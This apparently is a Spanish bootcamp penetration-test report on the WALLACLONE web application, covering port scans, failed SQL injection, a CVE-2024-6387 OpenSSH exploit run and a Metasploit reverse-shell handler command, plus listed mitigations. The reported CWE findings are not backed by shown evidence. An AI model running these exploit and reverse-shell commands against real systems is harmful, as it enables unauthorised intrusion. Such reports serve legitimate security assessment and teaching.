Test de penetración en la API web WALLACLONE

Trabajo final
del
Bootcamp de Ciberseguridad VIII

Alumnos:
Johan Leandro Navarrete Arias
Jorge Liñán Hernández

Sumario

Alcance:

Keepcoding encarga llevar a cabo la evaluación de seguridad de la aplicación web WALLACLONE y su infraestructura.

Esta evaluación de seguridad, que fue realizada entre los días 20/01/2025 y 13/02/2025.

La información del objetivo es la siguiente:

Dominio definido para el ámbito de la evaluación:

http://ec2-18-235-237-96.compute-1.amazonaws.com/

La web esta desplegada en la IP:

18.235.237.96

Todas las pruebas se han realizado con los usuarios proporcionados por el cliente:

Usuario:

usuario1

Email:

usuario1@example.com

Contraseña:

password1

Usuario:

usuario2

Email:

usuario2@example.com

Contraseña:

password2

Fases de la evaluación:

- Reconocimiento
- Enumeración
- Explotación

Resumen ejecutivo:

Se han encontrado vulnerabilidades que podrían ser susceptibles de ser utilizadas en un ataque.

El propietario de la aplicación, debe revisar la configuración como y restricción de accesos a las distintos servicios de la aplicación.

Vulnerabilidades encontradas según score CVSS v3:

	DENOMINACIÓN	DESCRIPCIÓN
CRITICAS		
ALTAS	CWE-530: Exposición del archivo de respaldo a una esfera de control no autorizada	A menudo, los archivos de copia de seguridad antiguos se renombran con una extensión como .~bk para distinguirlos de los archivos de producción. A menudo, se puede recuperar el código fuente de los archivos antiguos que se han renombrado de esta manera y se han dejado en la raíz web. Este cambio de nombre puede haberlo realizado automáticamente el servidor web o el administrador de forma manual.
MEDIAS	CWE-362: Ejecución simultánea mediante un recurso compartido con sincronización incorrecta ('Race Condition')	El producto contiene una secuencia de código concurrente que requiere acceso temporal y exclusivo a un recurso compartido, pero existe una ventana de tiempo en la que el recurso compartido puede ser modificado por otra secuencia de código que opere simultáneamente.
BAJAS		
INFORMATIVAS		

Fuente: https://cwe.mitre.org/

Informe técnico:

Reconocimiento:

RustScan

RustScan identificó los puertos abiertos:

3000/tcp (ppp)

3853/tcp (SSH)

Nmap

Se obtiene información del equipo utilizando la herramienta de escaneo de red Nmap. Se detectan los siguientes puertos abiertos:

80/tcp (http)

3000/tcp (ppp)

3853/tcp (SSH)

Burpsuite

No se obtuvo ninguna información que permitiera alcanzar las bases de datos propias de la aplicación.

Spiderfoot

Se usa Spiderfoot para realizar un completo escaneo de la IP con los siguientes resultados:

Enumeración:

RustScan

RustScan identificó los puertos abiertos:

3000/tcp (ppp)

3853/tcp (SSH)

Nmap

Nmap confirmó la existencia de los puertos:

80/tcp (http)

3000/tcp (ppp)

Tras detectar los puertos, y para evitar interferir en otros proceso presentes en la operación, se reduce el campo de actuación a los procesos que están corriendo en el puerto.

Puerto 80 (http)

Servidor identificado: nginx

Respuesta HTTP/1.1 200 OK

Última modificación del contenido: 29 de enero de 2025

Puerto 3000 (ppp)

También responde con HTTP/1.1 200 OK

Contiene varias cabeceras de seguridad como Content-Security-Policy, Strict-Transport-Security, X-Frame-Options, etc.

Puerto 3853 (SSH)

Se detectó SSH (OpenSSH_9.6p1 Ubuntu-3ubuntu13.5)

Intento de conexión mediante netcat fue exitoso.

Se intentó una petición HTTP/0.9 con curl, pero la conexión fue restablecida por la máquina remota.

Se ejecutó nmap con el script ssh2-enum-algos, pero el resultado no brindó información relevante.

Nikto

Utilizando la herramienta Nikto realizamos un escaneo automático de los puertos antes mencionados para enumerar las principales vulnerabilidades conocidas en los servicios de dichos puertos.

Nikto puerto 80 (http)

El informe adjunto revela que podría usarse la vulnerabilidad para alcanzar código y así vulnerar el sistema.

Nikto puerto 3000 (ppp)

El informe adjunto no revela nada que permita vulnerar el sistema.

Nikto puerto 3853 (SSH)

El informe adjunto no revela nada que permita vulnerar el sistema.

Burp Proxy

Se realiza una exploración manual de la plataforma web utilizando la herramienta Burp Proxy, que analiza automáticamente todas las direcciones en busca de vulnerabilidades comunes propias de tecnologías web basándose en la metodología de OWASP.

En esta fase de reconocimiento con burp no se han conseguido realizar inyección de código ni hallar vulnerabilidades aparentes.

Dirb

El servidor web no presenta dominios configurados salvo el proporcionado por el propietario, que es el indicado en el alcance.

Se ha realizado un escaneo automatizado de directorios de cara a encontrar rutas sensibles usando la herramienta Dirb con el diccionario por defecto.

Sólo se ha encontrado
http://ec2-18-235-237-96.compute-1.amazonaws.com/robots.txt

Al acceder sólo existe el siguiente texto:

```
# https://www.robotstxt.org/robotstxt.html
User-agent: *
Disallow:
```

CVE-2024-6387.py

Este informe documenta la evaluación de seguridad realizada en un servidor SSH afectado por la vulnerabilidad CVE-2024-6387, la cual impacta versiones de OpenSSH anteriores a 4.4p1 y desde 8.5p1 hasta antes de 9.8p1. Se realizó un escaneo para verificar la vulnerabilidad, seguido de la ejecución de un exploit con el fin de comprobar su efectividad y la posibilidad de obtener acceso no autorizado al sistema.

Dirección IP: 18.235.237.96

Puerto SSH en uso: 3853

Versión de SSH: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5

Se realizó un escaneo con la herramienta CVE-2024-6387.py para identificar la vulnerabilidad en el servidor objetivo.

Explotación:

SQLMap

Se realizan intentos de inyección de código SQL con SQLmap que han dado resultados negativos en acceso a bases de datos de la web.
Realizamos pruebas sobre la API usando la herramienta SQLMap para comprobar si se puede explotar una vulnerabilidad de inyección de código SQL para alcanzar las bases de datos de la aplicación con resultado negativo.

Metasploit

Se intentó explotar un exploit para Nginx sin resultado.
Se intentó acceder por SSH (ssh usuario@18.235.237.96 -p 3853), pero la autenticación fue rechazada (Permission denied (publickey)).

CVE-2024-6387.py

Con la vulnerabilidad confirmada, se ejecutó el exploit para intentar obtener acceso.

```
**Comando utilizado:**
```bash
python3 CVE-2024-6387.py scan -T 18.235.237.96 -p 3853
```

Resultados obtenidos:
```
🚨 Servers likely vulnerable: 1
   [+] Server at 18.235.237.96 (N/A):3853 (running SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5)

🛡️ Servers not vulnerable: 0
🛡️ Servers likely not vulnerable (possible LoginGraceTime remediation): 0
⚠️ Servers with unknown SSH version: 0

Summary:
📊 Total scanned hosts: 1
🚨 Total vulnerable hosts: 1
🛡️  Total not vulnerable hosts: 0
🛡️  Total likely not vulnerable hosts: 0
⚠️  Total unknown hosts: 0
🔒 Servers with port 3853 closed: 0
```
```

Resultados obtenidos:
```
Attempting exploitation with glibc base: 0xb7200000
Attempt 0 of 20000
Received SSH version: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5
Received KEX_INIT (1024 bytes)
Estimated parsing time: -0.000002 seconds
Connection closed by server - possible successful exploitation
Possible exploitation success on attempt 0 with glibc base 0xb7200000!
Exploitation successful!
```

5. Captura de la Shell Reversa
Para capturar una sesión interactiva, se configuró Metasploit para recibir la conexión reversa.

Comando utilizado en Metasploit:
```bash
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.131; set LPORT 9999; exploit -j"
```

Resultados obtenidos:
```
[*] Using configured payload generic/shell_reverse_tcp
PAYLOAD => linux/x64/meterpreter/reverse_tcp
LHOST => 192.168.56.131
LPORT => 9999
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.56.131:9999
[msf](Jobs:1 Agents:0) exploit(multi/handler) >> sessions

Active sessions
===============

No active sessions.
```

Problemas identificados:

Posible Problema de Red

- Al ejecutar el exploit en una máquina virtual con red NAT, el ataque funcionó, pero la shell reversa no se capturó.

- Al cambiar a adaptador puente, el exploit dejó de funcionar.

- En una máquina física, los resultados fueron los mismos que con la VM en adaptador puente.

Conclusiones

Puertos abiertos relevantes: 80 (HTTP), 3000 (posible API o servicio web), 3853 (SSH).

Servicios identificados:

Servidor Nginx en el puerto 80.

Posible aplicación web/API en el puerto 3000.

Servidor SSH en el puerto 3853.

Vulnerabilidades encontradas y mitigación

Vulnerabilidad encontrada:

CWE-530:
Exposición del archivo de respaldo a una esfera de control no autorizada.
Según el score de CVSSv3 es una vulnerabilidad de importancia ALTA.

Descripción de la vulnerabilidad:

A menudo, los archivos de copia de seguridad antiguos se renombran con una extensión como .~bk para distinguirlos de los archivos de producción. A menudo, se puede recuperar el código fuente de los archivos antiguos que se han renombrado de esta manera y se han dejado en la raíz web. Este cambio de nombre puede haberlo realizado automáticamente el servidor web o el administrador de forma manual.

Mitigación:

Las recomendaciones incluyen la implementación de una política de seguridad dentro de su organización que prohíba realizar copias de seguridad del código fuente de aplicaciones web en la raíz web.

Vulnerabilidad encontrada:

CWE-362:
Ejecución simultánea mediante un recurso compartido con sincronización incorrecta ('Race Condition').
Según el score de CVSSv3 es una vulnerabilidad de importancia MEDIA.

Descripción de la vulnerabilidad:

El producto contiene una secuencia de código concurrente que requiere acceso temporal y exclusivo a un recurso compartido, pero existe una ventana de tiempo en la que el recurso compartido puede ser modificado por otra secuencia de código que opere simultáneamente.

Mitigación:

Fase: Arquitectura y Diseño

En los lenguajes que lo admitan, utilice primitivas de sincronización. Incluya estas primitivas solo en el código crítico para minimizar el impacto en el rendimiento.

Utilice capacidades seguras para subprocesos como la abstracción de acceso a datos en Spring.

Minimizar el uso de recursos compartidos para eliminar la mayor complejidad posible del flujo de control y reducir la probabilidad de que ocurran condiciones inesperadas.

Además, esto minimizará la cantidad de sincronización necesaria e incluso puede ayudar a reducir la probabilidad de una denegación de servicio donde un atacante puede activar repetidamente una sección crítica (CWE-400).

> Estrategia: endurecimiento del entorno
> Ejecute su código utilizando los privilegios más bajos que se requieren para realizar las tareas necesarias [REF-76]. Si es posible, cree cuentas aisladas con privilegios limitados que solo se utilicen para una sola tarea. De esa manera, un ataque exitoso no le dará al atacante acceso inmediato al resto del software o su entorno. Por ejemplo, las aplicaciones de base de datos rara vez necesitan ejecutarse como administrador de la base de datos, especialmente en las operaciones diarias.

Fase: Implementación

Al utilizar subprocesos múltiples y operar en variables compartidas, utilice únicamente funciones seguras para subprocesos.

Utilice operaciones atómicas en variables compartidas. Tenga cuidado con construcciones de apariencia inocente como "x++". Esto puede parecer atómico

en la capa de código, pero en realidad no lo es en la capa de instrucción, ya que implica una lectura, seguida de un cálculo, seguido de una escritura.

Utilice un mutex si está disponible, pero asegúrese de evitar debilidades relacionadas como CWE-412 .

Evite el bloqueo de doble verificación (CWE-609) y otros errores de implementación que surgen al intentar evitar la sobrecarga de la sincronización.

Deshabilite las interrupciones o señales en partes críticas del código, pero asegúrese también de que el código no entre en un bucle grande o infinito.

Utilice el modificador de tipo volátil para las variables críticas a fin de evitar una optimización o reordenación inesperada del compilador. Esto no necesariamente resuelve el problema de sincronización, pero puede ayudar.

(Fuente: https://cwe.mitre.org/)